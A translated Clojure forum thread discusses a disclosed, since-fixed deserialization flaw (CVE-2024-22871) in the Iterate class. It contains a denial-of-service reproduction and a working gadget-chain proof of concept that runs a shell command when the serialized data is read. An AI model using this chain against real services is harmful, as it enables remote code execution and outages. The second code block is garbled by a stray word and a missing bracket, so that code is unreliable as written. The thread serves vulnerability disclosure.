请在2024年Clojure状态调查!中分享您的想法。

欢迎使用!请参阅关于页面了解有关如何操作的更多信息。

+1
Clojure
已关闭

报告漏洞

在org.clojure:clojure中,存在以下漏洞
- 拒绝服务攻击(clojure版本 1.2.0 - 1.12.0)

dos

Command Injection

注意:此漏洞不需要额外的组件。

详细信息
1.12.0-a5中的RCE CallGraph
17069252746231706925273707.png

CVE
- CVE-2024-22871

已关闭,备注:在Clojure 1.11.2和1.12.0-alpha9中发布
如以下讨论所示,拒绝服务攻击可能影响1.2.0-1.12.0版本,本地验证下的命令执行可能影响1.9.0-1.12.0版本。
在我看来,当前的一些问题与以下情况类似,但却是新的绕过的途径。


https://clojure.atlassian.net/browse/CLJ-2204

编辑了
我不明白,既然所有内容都是 Java,为什么还要提到 Clojure 呢?

更新:我是否正确理解,可以在不使用 Clojure 的情况下用 Java 实现相同的操作?
操作不正确,函数调用图部分依赖于 Clojure,如 apply、RestFn 等。$fn_5920 可以通过在 Clojure 版本 poc 中访问匿名函数类来在版本 1.9.0-1.12.0 中执行命令。

1 个回答

+3 投票

被选中
 
最佳答案

在不受信任数据上使用 ObjectInputStream 本身就是危险的,正如该类的文档本身所说。为什么一些用于提供这些类的 JAR 的展示会被认为是漏洞?

为未来读者提供一个更简单的复现方法

(let [out (java.io.ByteArrayOutputStream.)
      obj-out (java.io.ObjectOutputStream. out)
      i (iterate identity nil)]
  (doto (-> i (class) (.getSuperclass) (.getDeclaredField "_hash"))
    (.setAccessible true)
    (.set i (int 1)))
  (.writeObject obj-out (java.util.HashMap. {i nil}))
  (println "Writing is done. Reading...")
  (let [in (java.io.ByteArrayInputStream. (.toByteArray out))
        obj-in (java.io.ObjectInputStream. in)]
    (.readObject obj-in)
    (println "Will never be printed.")))
是的,ObjectInputStream确实引入了潜在的安全风险。然而,关于这个特定的漏洞,问题并不是讨论导致安全问题的潜在风险。问题在于,在1.12.0-alpha5版本中,可以构造一个特殊的序列化数据包,这会加剧这些风险的可能危害。这可以不依赖其他依赖项来实现,并允许命令执行(看起来process$start是一个新引入的功能)。反序列化的危险通常取决于项目环境,但这个漏洞不依赖于任何其他依赖项,本身就是一个JAR包的问题。
我明白了。然而,这与1.12.0-alpha5无关 - 我刚刚添加到回答中的代码可以在1.8.0上运行以重现行为。并且经过轻微修改,它也可以在1.2.0上运行(但在此之前因为在此之前`clojure.lang.Cons`不可序列化)。
是的,这个漏洞仅影响1.12.0-alpha5版本。我对以前的版本没有做太多分析,但我对它们是否有其他高风险的反序列化漏洞持悲观态度。
顺便说一句,如果可能的话,希望开发者可以发布CVE,尽管我要求发布CVE,但我还没有得到回复。
你说是“是”,但写了与我所说相反的内容——这个漏洞影响从1.2.0开始的Clojure的所有版本。
by
真的吗?各位,你们在指的是由这个反序列化引发的命令执行漏洞吗?因为我对Clojure不太熟悉,我只是从自己的程序分析工具中得到了这个分析结果。
by
而且,最让我困惑的是core$partial$fn__5920类的生成原理。我用soot分析了clojure.jar,但我想了解Clojure中core$partial$fn__5920的实际代码。
by
特定的类是由于这个`partial`函数的thisarity产生的: https://github.com/clojure/clojure/blob/master/src/clj/clojure/core.clj#L2638
by
谢谢。由于时差问题,之后的回复可能不太能及时。

编辑
另一种生成命令执行攻击的方法

```clojure
(ns poc.clojure.command
  (:import (clojure.lang PersistentQueue)
           (java.util HashMap ArrayList))
  (:require clojure.java.process))

(defn set-private-field [obj field-name value]
  (let [field (-> (.getClass obj)
                  (.getDeclaredField field-name))]
    (.setAccessible field true)
    (.set field obj value)))

(defn modify-and-process-model [iterate]
  ;; 创建 PersistentQueue
  (let [model (PersistentQueue/EMPTY)]
    ;; 使用 set-private-field 修改 model
    (set-private-field model "f" iterate)
    ;; 返回修改后的 model
    model))

(defn main []
  ;; 创建 HashMap
  (let [map (HashMap.)
        args ["open" "-a" "calculator"]
         Cuisine使用 ns-resolve 获取 start 函数并使用 partial 创建部分应用函数
        fn_start (ns-resolve 'clojure.java.shell 'sh)
        partial-fn (partial apply fn_start)
        ;; 使用 clojure.core/iterate 创建 iterate 实例
        iterate-instance (iterate partial-fn args)]

    (let [model (modify-and-process-model iterate-instance)]
      (set-private-field model "_hash" (int 1))
      (.put map model nil)
      (set-private-field model "_hash" (int 0)))

    ;; 序列化 map
    (let [out (java.io.ByteArrayOutputStream.)
          obj-out (java.io.ObjectOutputStream. out)]
      (.writeObject obj-out map)
      (println "Writing is done. Reading...")

      ;; 反序列化
      (let [in (java.io.ByteArrayInputStream. (.toByteArray out))
            obj-in (java.io.ObjectInputStream. in)
        (.readObject obj-in)))
    )
  )

  ;; 调用 main 函数
(main)
```
需要注意的是,在仅仅设置 'fn start (ns-resolve 'clojure.java.shell 'sh)' 后,它可以影响 1.9.0 - 1.12.0 版本,并且还可以实现命令执行。
我不太明白您最后的评论是什么意思。`clojure.java.shell`命名空间中的`sh`函数用于shell命令行执行,所以当然可以用它来运行东西。命令执行机制仍然依赖于`Iterate`类实现的方式。
这是因为我在前一个版本中使用了process $ start,但遗憾的是这是一个在1.12.0中引入的新功能;稍后检查项目,发现可以直接使用shell函数直接运行命令。是的,问题仍然出现在Iterate类的hash计算中。
这个问题在1.11.2和1.12.0-alpha9中的Iterate hashCode()中已经修复。
...